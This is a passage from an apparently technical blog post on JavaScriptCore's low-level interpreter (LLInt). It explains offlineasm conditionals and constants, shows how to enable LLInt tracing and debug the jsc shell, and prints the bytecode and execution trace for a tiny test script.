</span></span><span style="display:flex;"><span>   <span style="color:#75715e"># In C_LOOP or C_LOOP_WIN case, we&#39;re only preserving the bytecode vPC.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>   move lr, destinationRegister
</span></span><span style="display:flex;"><span>elsif X86 or X86_WIN or X86_64 or X86_64_WIN
</span></span><span style="display:flex;"><span>    pop destinationRegister
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    error
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>The predicates within the <em>if statements</em>, i.e. <code>C_LOOP</code>, <code>ARM64</code>, <code>X86</code>, etc are defined in the JavaScriptCore codebase and effectively perform the same function as <code>#ifdef</code> statements in C/C++.</p>
<h3 id="const-expressions">Const Expressions</h3>
<p>Const expressions allow <em>offlineasm</em> to define constant values to be used by the assembly or reference values implemented by the JIT ABI. The ABI references are translated to offsets at compile time by the <em>offlineasm</em> interpreter.  An example of <code>const</code> declarations is shown in the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L151">snippet below</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e"># These declarations must match interpreter/JSStack.h.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> PtrSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">constexpr</span> (<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">void</span><span style="color:#f92672">*</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> MachineRegisterSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">constexpr</span> (<span style="color:#66d9ef">sizeof</span>(CPURegister))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> SlotSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">constexpr</span> (<span style="color:#66d9ef">sizeof</span>(Register))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> JSVALUE64
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> CallFrameHeaderSlots <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> CallFrameHeaderSlots <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> CallFrameAlignSlots <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>The values <code>PtrSize</code>, <code>MachineRegisterSize</code> and <code>SlotSize</code> are determined at compile time when the relevant expressions are evaluated. The values of <code>CPUResiter</code> and <code>Register</code> are defined in <em>stdlib.h</em> for the target architecture. The <code>CallFrameHeaderSlots</code> and <code>CallFrameAlignSlots</code> are constant values that are referenced in <em>LowLevelInterpreter.asm</em>.</p>
<h2 id="tracing-execution">Tracing Execution</h2>
<p>JavaScriptCore allows two commandline flags to enable tracing execution within the LLInt. These are <code>traceLLIntExecution</code> and <code>traceLLIntSlowPath</code>. However, in order to use these flags one would need to enable LLInt tracing in the LLInt configuration. This is achieved by setting <code>LLINT_TRACING</code> in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntCommon.h#L32">LLIntCommon.h</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// Enables LLINT tracing.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// - Prints every instruction executed if Options::traceLLIntExecution() is enabled.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// - Prints some information for some of the more subtle slow paths if
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">//   Options::traceLLIntSlowPath() is enabled.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#define LLINT_TRACING 1
</span></span></span></code></pre></div><p>The two flags can now be added the run configuration <code>launch.json</code> or on the commandline. Here&rsquo;s what <code>launch.json</code> should look like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;version&#34;</span>: <span style="color:#e6db74">&#34;0.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;configurations&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;(gdb) Launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;cppdbg&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;request&#34;</span>: <span style="color:#e6db74">&#34;launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;args&#34;</span>: [<span style="color:#e6db74">&#34;--reportBytecodeCompileTimes=true&#34;</span>, <span style="color:#e6db74">&#34;--dumpGeneratedBytecodes=true&#34;</span>, <span style="color:#e6db74">&#34;--useJIT=false&#34;</span>, <span style="color:#e6db74">&#34;--traceLLIntExecution=true&#34;</span>,<span style="color:#e6db74">&#34;--traceLLIntSlowPath=true&#34;</span>, <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>],
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Let&rsquo;s quickly revisit our test script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">z</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>;
</span></span></code></pre></div><p>and the bytecodes generated for it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AmfQ2h</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffee3bc000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb848</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">96</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">18</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">11</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">216</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">12</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">10</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">17</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span>(<span style="color:#a6e22e">const1</span>), <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">25</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">32</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">20</span>(<span style="color:#a6e22e">const2</span>), <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">40</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">47</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">54</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">62</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc9</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">65</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">72</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">loc9</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">80</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">86</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">94</span>] <span style="color:#a6e22e">end</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">z</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">20</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span></code></pre></div><p>With the LLInt tracing enabled and the <code>--traceLLIntExecution=true</code> flag passed to the <code>jsc</code> shell via the commandline, allows dumping of the execution trace for each bytecode to <em>stdout</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">prologue</span> <span style="color:#66d9ef">of</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AmfQ2h</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffee3bc000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb848</span>, <span style="color:#a6e22e">LLIntGlobal</span>, <span style="color:#ae81ff">96</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">op_enter</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49c0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Frame</span> <span style="color:#a6e22e">will</span> <span style="color:#a6e22e">eventually</span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">to</span> <span style="color:#ae81ff">0x7ffff4e61403</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">op_get_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49c1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span>, <span style="color:#a6e22e">op_mov</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49c3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span>, <span style="color:#a6e22e">op_check_traps</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49c6</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, <span style="color:#a6e22e">op_mov</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49c7</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">10</span>, <span style="color:#a6e22e">op_resolve_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49ca</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">17</span>, <span style="color:#a6e22e">op_put_to_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49d1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">25</span>, <span style="color:#a6e22e">op_resolve_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49d9</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">32</span>, <span style="color:#a6e22e">op_put_to_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49e0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">40</span>, <span style="color:#a6e22e">op_resolve_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49e8</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">47</span>, <span style="color:#a6e22e">op_resolve_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49ef</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">54</span>, <span style="color:#a6e22e">op_get_from_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49f6</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">62</span>, <span style="color:#a6e22e">op_mov</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf49fe</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">65</span>, <span style="color:#a6e22e">op_resolve_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf4a01</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">72</span>, <span style="color:#a6e22e">op_get_from_scope</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf4a08</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffeedff000</span><span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x7fffee3bc000</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">0x7fffffffcb60</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">executing</span> <span style="color:#a6e22e">bc</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">80</span>, <span style="color:#a6e22e">op_add</span>, <span style="color:#a6e22e">pc</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeedf4a10</span>
